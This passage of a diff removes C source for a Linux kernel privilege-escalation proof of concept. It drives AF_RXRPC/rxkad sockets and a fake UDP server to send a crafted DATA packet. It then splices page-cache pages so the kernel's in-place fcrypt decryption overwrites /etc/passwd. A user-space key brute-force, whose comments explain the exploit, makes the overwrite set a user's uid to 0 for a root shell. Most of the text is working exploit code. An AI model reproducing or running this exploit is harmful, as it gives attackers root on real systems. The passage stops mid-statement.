< 0) { - WARN("client MIN_SECURITY_LEVEL: %s", strerror(errno)); - close(fd); return -1; - } - struct sockaddr_rxrpc srx = {0}; - srx.srx_family = AF_RXRPC; - srx.srx_service = 0; - srx.transport_type = SOCK_DGRAM; - srx.transport_len = sizeof(struct sockaddr_in); - srx.transport.sin.sin_family = AF_INET; - srx.transport.sin.sin_port = htons(local_port); - srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); - if (bind(fd, (struct sockaddr *)&srx, sizeof(srx)) < 0) { - WARN("client bind :%u: %s", local_port, strerror(errno)); - close(fd); return -1; - } - LOG("AF_RXRPC client bound :%u", local_port); - return fd; -} - -static int rxrpc_client_initiate_call(int cli_fd, uint16_t srv_port, - uint16_t service_id, - unsigned long user_call_id) -{ - char data[8] = "PINGPING"; - struct sockaddr_rxrpc srx = {0}; - srx.srx_family = AF_RXRPC; - srx.srx_service = service_id; - srx.transport_type = SOCK_DGRAM; - srx.transport_len = sizeof(struct sockaddr_in); - srx.transport.sin.sin_family = AF_INET; - srx.transport.sin.sin_port = htons(srv_port); - srx.transport.sin.sin_addr.s_addr = htonl(0x7F000001); - - char cmsg_buf[CMSG_SPACE(sizeof(unsigned long))]; - struct msghdr msg = {0}; - msg.msg_name = &srx; msg.msg_namelen = sizeof(srx); - struct iovec iov = { .iov_base = data, .iov_len = sizeof(data) }; - msg.msg_iov = &iov; msg.msg_iovlen = 1; - msg.msg_control = cmsg_buf; msg.msg_controllen = sizeof(cmsg_buf); - struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg); - cmsg->cmsg_level = SOL_RXRPC; - cmsg->cmsg_type = RXRPC_USER_CALL_ID; - cmsg->cmsg_len = CMSG_LEN(sizeof(unsigned long)); - *(unsigned long *)CMSG_DATA(cmsg) = user_call_id; - - /* Don't block forever if no reply ever comes through this single sendmsg. */ - int fl = fcntl(cli_fd, F_GETFL); - fcntl(cli_fd, F_SETFL, fl | O_NONBLOCK); - - ssize_t n = sendmsg(cli_fd, &msg, 0); - fcntl(cli_fd, F_SETFL, fl); - if (n < 0) { - if (errno == EAGAIN || errno == EWOULDBLOCK) { - LOG("client sendmsg returned EAGAIN (expected; kernel will keep " - "retrying handshake)"); - return 0; - } - WARN("client sendmsg: %s", strerror(errno)); - return -1; - } - LOG("client sendmsg %zd B → :%u (handshake will follow asynchronously)", - n, srv_port); - return 0; -} - -/* =================================================================== */ -/* fake-server (plain UDP) */ -/* =================================================================== */ - -static int setup_udp_server(uint16_t port) -{ - int s = socket(AF_INET, SOCK_DGRAM, 0); - if (s < 0) { WARN("socket(udp server): %s", strerror(errno)); return -1; } - struct sockaddr_in sa = {0}; - sa.sin_family = AF_INET; - sa.sin_port = htons(port); - sa.sin_addr.s_addr = htonl(0x7F000001); - if (bind(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) { - WARN("udp server bind :%u: %s", port, strerror(errno)); - close(s); return -1; - } - LOG("plain UDP fake-server bound :%u", port); - return s; -} - -/* Receive one UDP datagram with timeout (ms). Returns bytes or -1. */ -static ssize_t udp_recv_to(int s, void *buf, size_t cap, - struct sockaddr_in *from, int timeout_ms) -{ - struct pollfd pfd = { .fd = s, .events = POLLIN }; - int rc = poll(&pfd, 1, timeout_ms); - if (rc <= 0) return -1; - socklen_t fl = from ? sizeof(*from) : 0; - return recvfrom(s, buf, cap, 0, - (struct sockaddr *)from, from ? &fl : NULL); -} - -/* =================================================================== */ -/* main PoC */ -/* =================================================================== */ - -static int trigger_seq = 0; - -static int do_one_trigger(int target_fd, off_t splice_off, size_t splice_len) -{ - char keyname[32]; - snprintf(keyname, sizeof(keyname), "evil%d", trigger_seq++); - - long key = add_rxrpc_key(keyname); - if (key < 0) { - if (trigger_seq < 5) WARN("add_rxrpc_key(%s): %s", keyname, strerror(errno)); - return -1; - } - - /* Use varying ports so kernel TIME_WAIT / stale state does not bite. */ - uint16_t port_S = 7777 + (trigger_seq * 2 % 200); - uint16_t port_C = port_S + 1; - uint16_t svc_id = 1234; - - int udp_srv = setup_udp_server(port_S); - if (udp_srv < 0) { - if (trigger_seq < 5) WARN("setup_udp_server(%u) failed", port_S); - syscall(SYS_keyctl, 3 /*KEYCTL_INVALIDATE*/, key); return -1; - } - - int rxsk_cli = setup_rxrpc_client(port_C, keyname); - if (rxsk_cli < 0) { - if (trigger_seq < 5) WARN("setup_rxrpc_client(%u, %s) failed", port_C, keyname); - close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - - if (rxrpc_client_initiate_call(rxsk_cli, port_S, svc_id, 0xDEAD) < 0) { - if (trigger_seq < 5) WARN("rxrpc_client_initiate_call failed"); - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - - uint8_t pkt[2048]; - struct sockaddr_in cli_addr; - ssize_t n = udp_recv_to(udp_srv, pkt, sizeof(pkt), &cli_addr, 1500); - if (n < (ssize_t)sizeof(struct rxrpc_wire_header)) { - if (trigger_seq < 5) WARN("udp_recv_to: n=%zd errno=%s", n, strerror(errno)); - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - struct rxrpc_wire_header *whdr_in = (struct rxrpc_wire_header *)pkt; - uint32_t epoch = ntohl(whdr_in->epoch); - uint32_t cid = ntohl(whdr_in->cid); - uint32_t callN = ntohl(whdr_in->callNumber); - uint16_t svc_in = ntohs(whdr_in->serviceId); - uint16_t cli_port = ntohs(cli_addr.sin_port); - - /* Send CHALLENGE */ - { - struct { - struct rxrpc_wire_header hdr; - struct rxkad_challenge ch; - } __attribute__((packed)) c = {0}; - c.hdr.epoch = htonl(epoch); - c.hdr.cid = htonl(cid); - c.hdr.callNumber = 0; c.hdr.seq = 0; - c.hdr.serial = htonl(0x10000); - c.hdr.type = RXRPC_PACKET_TYPE_CHALLENGE; - c.hdr.securityIndex = 2; - c.hdr.serviceId = htons(svc_in); - c.ch.version = htonl(2); c.ch.nonce = htonl(0xDEADBEEFu); - c.ch.min_level = htonl(1); - struct sockaddr_in to = { .sin_family=AF_INET, .sin_port=htons(cli_port), - .sin_addr.s_addr=htonl(0x7F000001) }; - if (sendto(udp_srv, &c, sizeof(c), 0, (struct sockaddr*)&to, sizeof(to)) < 0) { - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - } - - /* Drain RESPONSE (best-effort) */ - for (int i = 0; i < 4; i++) { - struct sockaddr_in src; - if (udp_recv_to(udp_srv, pkt, sizeof(pkt), &src, 500) < 0) break; - } - - /* csum + cksum with CURRENT SESSION_KEY */ - uint8_t csum_iv[8] = {0}; - if (compute_csum_iv(epoch, cid, 2, SESSION_KEY, csum_iv) < 0) { - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - uint16_t cksum_h = 0; - if (compute_cksum(cid, callN, 1, SESSION_KEY, csum_iv, &cksum_h) < 0) { - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - - /* Build malicious DATA header */ - struct rxrpc_wire_header mal = {0}; - mal.epoch = htonl(epoch); - mal.cid = htonl(cid); - mal.callNumber = htonl(callN); - mal.seq = htonl(1); - mal.serial = htonl(0x42000); - mal.type = RXRPC_PACKET_TYPE_DATA; - mal.flags = RXRPC_LAST_PACKET; - mal.securityIndex = 2; - mal.cksum = htons(cksum_h); - mal.serviceId = htons(svc_in); - - /* connect udp_srv → client port for splice */ - struct sockaddr_in dst = { .sin_family=AF_INET, .sin_port=htons(cli_port), - .sin_addr.s_addr=htonl(0x7F000001) }; - if (connect(udp_srv, (struct sockaddr*)&dst, sizeof(dst)) < 0) { - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - - /* pipe + vmsplice header + splice file → pipe → udp_srv */ - int p[2]; - if (pipe(p) < 0) { - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); return -1; - } - { - struct iovec viv = { .iov_base = &mal, .iov_len = sizeof(mal) }; - if (vmsplice(p[1], &viv, 1, 0) < 0) goto trig_fail; - } - { - loff_t off = splice_off; - if (splice(target_fd, &off, p[1], NULL, splice_len, SPLICE_F_NONBLOCK) < 0) - goto trig_fail; - } - if (splice(p[0], NULL, udp_srv, NULL, sizeof(mal) + splice_len, 0) < 0) { - goto trig_fail; - } - close(p[0]); close(p[1]); - - /* recvmsg the malicious DATA into the kernel's verify_packet path */ - int fl = fcntl(rxsk_cli, F_GETFL); - fcntl(rxsk_cli, F_SETFL, fl | O_NONBLOCK); - for (int round = 0; round < 5; round++) { - char rb[2048]; - struct sockaddr_rxrpc srx; - char ccb[256]; - struct msghdr m = {0}; - struct iovec iv = { .iov_base = rb, .iov_len = sizeof(rb) }; - m.msg_name = &srx; m.msg_namelen = sizeof(srx); - m.msg_iov = &iv; m.msg_iovlen = 1; - m.msg_control = ccb; m.msg_controllen = sizeof(ccb); - ssize_t r = recvmsg(rxsk_cli, &m, 0); - if (r > 0) break; - if (errno == EAGAIN || errno == EWOULDBLOCK) usleep(20000); - else break; - } - fcntl(rxsk_cli, F_SETFL, fl); - - close(rxsk_cli); - close(udp_srv); - syscall(SYS_keyctl, 3, key); - return 0; - -trig_fail: - close(p[0]); close(p[1]); - close(rxsk_cli); close(udp_srv); syscall(SYS_keyctl, 3, key); - return -1; -} - -/* =================================================================== - * USER-SPACE pcbc(fcrypt) BRUTE-FORCE - * - * The kernel's rxkad_verify_packet_1() does an in-place 8-byte - * pcbc(fcrypt) decrypt with iv=0 over the page-cache page at the splice - * offset. pcbc with single 8-B block and IV=0 reduces to a plain - * fcrypt_decrypt(C, K). We can therefore search for the right K - * entirely in user-space — without touching the kernel/VM at all — - * before applying ONE deterministic kernel trigger. - * - * Port of crypto/fcrypt.c from the kernel source (David Howells / KTH). - * Verified against kernel test vectors: - * K=0, decrypt(0E0900C73EF7ED41) = 00000000 - * K=1144...66, decrypt(D8ED787477EC0680) = 123456789ABCDEF0 - * =================================================================== */ - -static const uint8_t fc_sbox0_raw[256] = { - 0xea, 0x7f, 0xb2, 0x64, 0x9d, 0xb0, 0xd9, 0x11, 0xcd, 0x86, 0x86, 0x91, 0x0a, 0xb2, 0x93, 0x06, - 0x0e, 0x06, 0xd2, 0x65, 0x73, 0xc5, 0x28, 0x60, 0xf2, 0x20, 0xb5, 0x38, 0x7e, 0xda, 0x9f, 0xe3, - 0xd2, 0xcf, 0xc4, 0x3c, 0x61, 0xff, 0x4a, 0x4a, 0x35, 0xac, 0xaa, 0x5f, 0x2b, 0xbb, 0xbc, 0x53, - 0x4e, 0x9d, 0x78, 0xa3, 0xdc, 0x09, 0x32, 0x10, 0xc6, 0x6f, 0x66, 0xd6, 0xab, 0xa9, 0xaf, 0xfd, - 0x3b, 0x95, 0xe8, 0x34, 0x9a, 0x81, 0x72, 0x80, 0x9c, 0xf3, 0xec, 0xda, 0x9f, 0x26, 0x76, 0x15, - 0x3e, 0x55, 0x4d, 0xde, 0x84, 0xee, 0xad, 0xc7, 0xf1, 0x6b, 0x3d, 0xd3, 0x04, 0x49, 0xaa, 0x24, - 0x0b, 0x8a, 0x83, 0xba, 0xfa, 0x85, 0xa0, 0xa8, 0xb1, 0xd4, 0x01, 0xd8, 0x70, 0x64, 0xf0, 0x51, - 0xd2, 0xc3, 0xa7, 0x75, 0x8c, 0xa5, 0x64, 0xef, 0x10, 0x4e, 0xb7, 0xc6, 0x61, 0x03, 0xeb, 0x44, - 0x3d, 0xe5, 0xb3, 0x5b, 0xae, 0xd5, 0xad, 0x1d, 0xfa, 0x5a, 0x1e, 0x33, 0xab, 0x93, 0xa2, 0xb7, - 0xe7, 0xa8, 0x45, 0xa4, 0xcd, 0x29, 0x63, 0x44, 0xb6, 0x69, 0x7e, 0x2e, 0x62, 0x03, 0xc8, 0xe0, - 0x17, 0xbb, 0xc7, 0xf3, 0x3f, 0x36, 0xba, 0x71, 0x8e, 0x97, 0x65, 0x60, 0x69, 0xb6, 0xf6, 0xe6, - 0x6e, 0xe0, 0x81, 0x59, 0xe8, 0xaf, 0xdd, 0x95, 0x22, 0x99, 0xfd, 0x63, 0x19, 0x74, 0x61, 0xb1, - 0xb6, 0x5b, 0xae, 0x54, 0xb3, 0x70, 0xff, 0xc6, 0x3b, 0x3e, 0xc1, 0xd7, 0xe1, 0x0e, 0x76, 0xe5, - 0x36, 0x4f, 0x59, 0xc7, 0x08, 0x6e, 0x82, 0xa6, 0x93, 0xc4, 0xaa, 0x26, 0x49, 0xe0, 0x21, 0x64, - 0x07, 0x9f, 0x64, 0x81, 0x9c, 0xbf, 0xf9, 0xd1, 0x43, 0xf8, 0xb6, 0xb9, 0xf1, 0x24, 0x75, 0x03, - 0xe4, 0xb0, 0x99, 0x46, 0x3d, 0xf5, 0xd1, 0x39, 0x72, 0x12, 0xf6, 0xba, 0x0c, 0x0d, 0x42, 0x2e, -}; -static const uint8_t fc_sbox1_raw[256] = { - 0x77, 0x14, 0xa6, 0xfe, 0xb2, 0x5e, 0x8c, 0x3e, 0x67, 0x6c, 0xa1, 0x0d, 0xc2, 0xa2, 0xc1, 0x85, - 0x6c, 0x7b, 0x67, 0xc6, 0x23, 0xe3, 0xf2, 0x89, 0x50, 0x9c, 0x03, 0xb7, 0x73, 0xe6, 0xe1, 0x39, - 0x31, 0x2c, 0x27, 0x9f, 0xa5, 0x69, 0x44, 0xd6, 0x23, 0x83, 0x98, 0x7d, 0x3c, 0xb4, 0x2d, 0x99, - 0x1c, 0x1f, 0x8c, 0x20, 0x03, 0x7c, 0x5f, 0xad, 0xf4, 0xfa, 0x95, 0xca, 0x76, 0x44, 0xcd, 0xb6, - 0xb8, 0xa1, 0xa1, 0xbe, 0x9e, 0x54, 0x8f, 0x0b, 0x16, 0x74, 0x31, 0x8a, 0x23, 0x17, 0x04, 0xfa, - 0x79, 0x84, 0xb1, 0xf5, 0x13, 0xab, 0xb5, 0x2e, 0xaa, 0x0c, 0x60, 0x6b, 0x5b, 0xc4, 0x4b, 0xbc, - 0xe2, 0xaf, 0x45, 0x73, 0xfa, 0xc9, 0x49, 0xcd, 0x00, 0x92, 0x7d, 0x97, 0x7a, 0x18, 0x60, 0x3d, - 0xcf, 0x5b, 0xde, 0xc6, 0xe2, 0xe6, 0xbb, 0x8b, 0x06, 0xda, 0x08, 0x15, 0x1b, 0x88, 0x6a, 0x17, - 0x89, 0xd0, 0xa9, 0xc1, 0xc9, 0x70, 0x6b, 0xe5, 0x43, 0xf4, 0x68, 0xc8, 0xd3, 0x84, 0x28, 0x0a, - 0x52, 0x66, 0xa3, 0xca, 0xf2, 0xe3, 0x7f, 0x7a, 0x31, 0xf7, 0x88, 0x94, 0x5e, 0x9c, 0x63, 0xd5, - 0x24, 0x66, 0xfc, 0xb3, 0x57, 0x25, 0xbe, 0x89, 0x44, 0xc4, 0xe0, 0x8f, 0x23, 0x3c, 0x12, 0x52, - 0xf5, 0x1e, 0xf4, 0xcb, 0x18, 0x33, 0x1f, 0xf8, 0x69, 0x10, 0x9d, 0xd3, 0xf7, 0x28, 0xf8, 0x30, - 0x05, 0x5e, 0x32, 0xc0, 0xd5, 0x19, 0xbd, 0x45, 0x8b, 0x5b, 0xfd, 0xbc, 0xe2, 0x5c, 0xa9, 0x96, - 0xef, 0x70, 0xcf, 0xc2, 0x2a, 0xb3, 0x61, 0xad, 0x80, 0x48, 0x81, 0xb7, 0x1d, 0x43, 0xd9, 0xd7, - 0x45, 0xf0, 0xd8, 0x8a, 0x59, 0x7c, 0x57, 0xc1, 0x79, 0xc7, 0x34, 0xd6, 0x43, 0xdf, 0xe4, 0x78, - 0x16, 0x06, 0xda, 0x92, 0x76, 0x51, 0xe1, 0xd4, 0x70, 0x03, 0xe0, 0x2f, 0x96, 0x91, 0x82, 0x80, -}; -static const uint8_t fc_sbox2_raw[256] = { - 0xf0, 0x37, 0x24, 0x53, 0x2a, 0x03, 0x83, 0x86, 0xd1, 0xec, 0x50, 0xf0, 0x42, 0x78, 0x2f, 0x6d, - 0xbf, 0x80, 0x87, 0x27, 0x95, 0xe2, 0xc5, 0x5d, 0xf9, 0x6f, 0xdb, 0xb4, 0x65, 0x6e, 0xe7, 0x24, - 0xc8, 0x1a, 0xbb, 0x49, 0xb5, 0x0a, 0x7d, 0xb9, 0xe8, 0xdc, 0xb7, 0xd9, 0x45, 0x20, 0x1b, 0xce, - 0x59, 0x9d, 0x6b, 0xbd, 0x0e, 0x8f, 0xa3, 0xa9, 0xbc, 0x74, 0xa6, 0xf6, 0x7f, 0x5f, 0xb1, 0x68, - 0x84, 0xbc, 0xa9, 0xfd, 0x55, 0x50, 0xe9, 0xb6, 0x13, 0x5e, 0x07, 0xb8, 0x95, 0x02, 0xc0, 0xd0, - 0x6a, 0x1a, 0x85, 0xbd, 0xb6, 0xfd, 0xfe, 0x17, 0x3f, 0x09, 0xa3, 0x8d, 0xfb, 0xed, 0xda, 0x1d, - 0x6d, 0x1c, 0x6c, 0x01, 0x5a, 0xe5, 0x71, 0x3e, 0x8b, 0x6b, 0xbe, 0x29, 0xeb, 0x12, 0x19, 0x34, - 0xcd, 0xb3, 0xbd, 0x35, 0xea, 0x4b, 0xd5, 0xae, 0x2a, 0x79, 0x5a, 0xa5, 0x32, 0x12, 0x7b, 0xdc, - 0x2c, 0xd0, 0x22, 0x4b, 0xb1, 0x85, 0x59, 0x80, 0xc0, 0x30, 0x9f, 0x73, 0xd3, 0x14, 0x48, 0x40, - 0x07, 0x2d, 0x8f, 0x80, 0x0f, 0xce, 0x0b, 0x5e, 0xb7, 0x5e, 0xac, 0x24, 0x94, 0x4a, 0x18, 0x15, - 0x05, 0xe8, 0x02, 0x77, 0xa9, 0xc7, 0x40, 0x45, 0x89, 0xd1, 0xea, 0xde, 0x0c, 0x79, 0x2a, 0x99, - 0x6c, 0x3e, 0x95, 0xdd, 0x8c, 0x7d, 0xad, 0x6f, 0xdc, 0xff, 0xfd, 0x62, 0x47, 0xb3, 0x21, 0x8a, - 0xec, 0x8e, 0x19, 0x18, 0xb4, 0x6e, 0x3d, 0xfd, 0x74, 0x54, 0x1e, 0x04, 0x85, 0xd8, 0xbc, 0x1f, - 0x56, 0xe7, 0x3a, 0x56, 0x67, 0xd6, 0xc8, 0xa5, 0xf3, 0x8e, 0xde, 0xae, 0x37, 0x49, 0xb7, 0xfa, - 0xc8, 0xf4, 0x1f, 0xe0, 0x2a, 0x9b, 0x15, 0xd1, 0x34, 0x0e, 0xb5, 0xe0, 0x44, 0x78, 0x84, 0x59, - 0x56, 0x68, 0x77, 0xa5, 0x14, 0x06, 0xf5, 0x2f, 0x8c, 0x8a, 0x73, 0x80, 0x76, 0xb4, 0x10, 0x86, -}; -static const uint8_t fc_sbox3_raw[256] = { - 0xa9, 0x2a, 0x48, 0x51, 0x84, 0x7e, 0x49, 0xe2, 0xb5, 0xb7, 0x42, 0x33, 0x7d, 0x5d, 0xa6, 0x12, - 0x44, 0x48, 0x6d, 0x28, 0xaa, 0x20, 0x6d, 0x57, 0xd6, 0x6b, 0x5d, 0x72, 0xf0, 0x92, 0x5a, 0x1b, - 0x53, 0x80, 0x24, 0x70, 0x9a, 0xcc, 0xa7, 0x66, 0xa1, 0x01, 0xa5, 0x41, 0x97, 0x41, 0x31, 0x82, - 0xf1, 0x14, 0xcf, 0x53, 0x0d, 0xa0, 0x10, 0xcc, 0x2a, 0x7d, 0xd2, 0xbf, 0x4b, 0x1a, 0xdb, 0x16, - 0x47, 0xf6, 0x51, 0x36, 0xed, 0xf3, 0xb9, 0x1a, 0xa7, 0xdf, 0x29, 0x43, 0x01, 0x54, 0x70, 0xa4, - 0xbf, 0xd4, 0x0b, 0x53, 0x44, 0x60, 0x9e, 0x23, 0xa1, 0x18, 0x68, 0x4f, 0xf0, 0x2f, 0x82, 0xc2, - 0x2a, 0x41, 0xb2, 0x42, 0x0c, 0xed, 0x0c, 0x1d, 0x13, 0x3a, 0x3c, 0x6e, 0x35, 0xdc, 0x60, 0x65, - 0x85, 0xe9, 0x64, 0x02, 0x9a, 0x3f, 0x9f, 0x87, 0x96, 0xdf, 0xbe, 0xf2, 0xcb, 0xe5, 0x6c, 0xd4, - 0x5a, 0x83, 0xbf, 0x92, 0x1b, 0x94, 0x00, 0x42, 0xcf, 0x4b, 0x00, 0x75, 0xba, 0x8f, 0x76, 0x5f, - 0x5d, 0x3a, 0x4d, 0x09, 0x12, 0x08, 0x38, 0x95, 0x17, 0xe4, 0x01, 0x1d, 0x4c, 0xa9, 0xcc, 0x85, - 0x82, 0x4c, 0x9d, 0x2f, 0x3b, 0x66, 0xa1, 0x34, 0x10, 0xcd, 0x59, 0x89, 0xa5, 0x31, 0xcf, 0x05, - 0xc8, 0x84, 0xfa, 0xc7, 0xba, 0x4e, 0x8b, 0x1a, 0x19, 0xf1, 0xa1, 0x3b, 0x18, 0x12, 0x17, 0xb0, - 0x98, 0x8d, 0x0b, 0x23, 0xc3, 0x3a, 0x2d, 0x20, 0xdf, 0x13, 0xa0, 0xa8, 0x4c, 0x0d, 0x6c, 0x2f, - 0x47, 0x13, 0x13, 0x52, 0x1f, 0x2d, 0xf5, 0x79, 0x3d, 0xa2, 0x54, 0xbd, 0x69, 0xc8, 0x6b, 0xf3, - 0x05, 0x28, 0xf1, 0x16, 0x46, 0x40, 0xb0, 0x11, 0xd3, 0xb7, 0x95, 0x49, 0xcf, 0xc3, 0x1d, 0x8f, - 0xd8, 0xe1, 0x73, 0xdb, 0xad, 0xc8, 0xc9, 0xa9, 0xa1, 0xc2, 0xc5, 0xe3, 0xba, 0xfc, 0x0e, 0x25, -}; - -static uint32_t fc_sbox0[256], fc_sbox1[256], fc_sbox2[256], fc_sbox3[256]; - -#include <endian.h> - -static void fcrypt_init_sboxes(void) -{ - for (int i = 0; i < 256; i++) { - fc_sbox0[i] = htobe32((uint32_t)fc_sbox0_raw[i] << 3); - fc_sbox1[i] = htobe32(((uint32_t)(fc_sbox1_raw[i] & 0x1f) << 27) | - ((uint32_t)fc_sbox1_raw[i] >> 5)); - fc_sbox2[i] = htobe32((uint32_t)fc_sbox2_raw[i] << 11); - fc_sbox3[i] = htobe32((uint32_t)fc_sbox3_raw[i] << 19); - } -} - -#define fc_ror56_64(k, n) \ - (k = (k >> (n)) | ((k & ((1ULL << (n)) - 1)) << (56 - (n)))) - -typedef struct { uint32_t sched[16]; } fcrypt_uctx; - -static void fcrypt_user_setkey(fcrypt_uctx *ctx, const uint8_t key[8]) -{ - uint64_t k = 0; - k = (uint64_t)(key[0] >> 1); - k <<= 7; k |= (uint64_t)(key[1] >> 1); - k <<= 7; k |= (uint64_t)(key[2] >> 1); - k <<= 7; k |= (uint64_t)(key[3] >> 1); - k <<= 7; k |= (uint64_t)(key[4] >> 1); - k <<= 7; k |= (uint64_t)(key[5] >> 1); - k <<= 7; k |= (uint64_t)(key[6] >> 1); - k <<= 7; k |= (uint64_t)(key[7] >> 1); - - ctx->sched[0x0] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x1] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x2] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x3] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x4] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x5] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x6] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x7] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x8] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0x9] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xa] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xb] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xc] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xd] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xe] = htobe32((uint32_t)k); fc_ror56_64(k, 11); - ctx->sched[0xf] = htobe32((uint32_t)k); -} - -#define FC_F(R_, L_, sched_) do { \ - union { uint32_t l; uint8_t c[4]; } u; \ - u.l = (sched_) ^ (R_); \ - L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ \ - fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ -} while (0) - -static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, - uint8_t out[8], const uint8_t in[8]) -{ - uint32_t L, R; - memcpy(&L, in, 4); - memcpy(&R, in + 4, 4); - FC_F(L, R, ctx->sched[0xf]); - FC_F(R, L, ctx->sched[0xe]); - FC_F(L, R, ctx->sched[0xd]); - FC_F(R, L, ctx->sched[0xc]); - FC_F(L, R, ctx->sched[0xb]); - FC_F(R, L, ctx->sched[0xa]); - FC_F(L, R, ctx->sched[0x9]); - FC_F(R, L, ctx->sched[0x8]); - FC_F(L, R, ctx->sched[0x7]); - FC_F(R, L, ctx->sched[0x6]); - FC_F(L, R, ctx->sched[0x5]); - FC_F(R, L, ctx->sched[0x4]); - FC_F(L, R, ctx->sched[0x3]); - FC_F(R, L, ctx->sched[0x2]); - FC_F(L, R, ctx->sched[0x1]); - FC_F(R, L, ctx->sched[0x0]); - memcpy(out, &L, 4); - memcpy(out + 4, &R, 4); -} - -/* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a - * shell field that equals "/bin/bash" (in /etc/shells, valid path). - * The two splices interlock as: - * - * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then - * 4 random gecos-prefix bytes. - * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line - * pos 16, preserves ':' at pos 21 and '/' at pos 22. - * - * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" - * pos 0 8 21 32 - * - * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". - * Now `su -s /bin/bash test` proceeds through the restricted_shell() - * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash - * under uid=0. - * - * === 3-splice predicates === - * - * After applying splices A, B, C in order to /etc/passwd line 1 - * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state - * of chars 4..15 is determined by these P bytes: - * - * char 4 = P_A[0] want: ':' - * char 5 = P_A[1] want: ':' - * char 6 = P_B[0] want: '0' (overwrites P_A[2]) - * char 7 = P_B[1] want: ':' (overwrites P_A[3]) - * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) - * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) - * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' - * char 15 = P_C[7] want: ':' - * - * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they - * are overwritten before /etc/passwd is read by anyone — we only care - * about the final state. */ -static inline int fc_check_pa_nullok(const uint8_t P[8]) -{ - return P[0] == ':' && P[1] == ':'; -} - -static inline int fc_check_pb_nullok(const uint8_t P[8]) -{ - return P[0] == '0' && P[1] == ':'; -} - -static inline int fc_check_pc_nullok(const uint8_t P[8]) -{ - if (P[0] != '0') return 0; - if (P[1] != ':') return 0; - if (P[7] != ':') return 0; - for (int i = 2; i < 7; i++) { - if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; - } - return 1; -} - -static uint64_t fc_splitmix64(uint64_t *s) -{ - uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); - z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; - z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; - return z ^ (z >> 31); -} - -/* Generic brute-force. `predicate` decides if a P is acceptable. */ -typedef int (*pcheck_fn)(const uint8_t P[8]); - -static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, - pcheck_fn check, - uint8_t K_out[8], uint8_t P_out[8], - uint64_t seed_init, - const char *label) -{ - fcrypt_uctx ctx; - uint8_t K[8], P[8]; - uint64_t seed = seed_init; - struct timespec ts0, ts1; - clock_gettime(CLOCK_MONOTONIC, &ts0); - - for (uint64_t iter = 0; iter < max_iters; iter++) { - uint64_t r = fc_splitmix64(&seed); - memcpy(K, &r, 8); - fcrypt_user_setkey(&ctx, K); - fcrypt_user_decrypt(&ctx, P, C); - - if (check(P)) { - memcpy(K_out, K, 8); - memcpy(P_out, P, 8); - clock_gettime(CLOCK_MONOTONIC, &ts1); - double dt = (ts1.tv_sec - ts0.tv_sec) + - (ts1.tv_nsec - ts0.tv_nsec) / 1e9; - LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", - label, - (unsigned long)iter, dt, iter / dt / 1e6, - K[0],K[1],K[2],K[3],K[4],K[5],K[6],K[7], - P[0],P[1],P[2],P[3],P[4],P[5],P[6],P[7], - (P[0]>=32&&P[0]<127)?P[0]:'.', - (P[1]>=32&&P[1]<127)?P[1]:'.', - (P[2]>=32&&P[2]<127)?P[2]:'.', - (P[3]>=32&&P[3]<127)?P[3]:'.', - (P[4]>=32&&P[4]<127)?P[4]:'.', - (P[5]>=32&&P[5]<127)?P[5]:'.', - (P[6]>=32&&P[6]<127)?P[6]:'.', - (P[7]>=32&&P[7]<127)?P[7]:'.'); - return 0; - } - - if ((iter & 0x3ffffff) == 0 && iter > 0) { - clock_gettime(CLOCK_MONOTONIC, &ts1); - double dt = (ts1.tv_sec - ts0.tv_sec) + - (ts1.tv_nsec - ts0.tv_nsec) / 1e9; - if (g_cve_ctx.verbose) fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", - label, dt, (unsigned 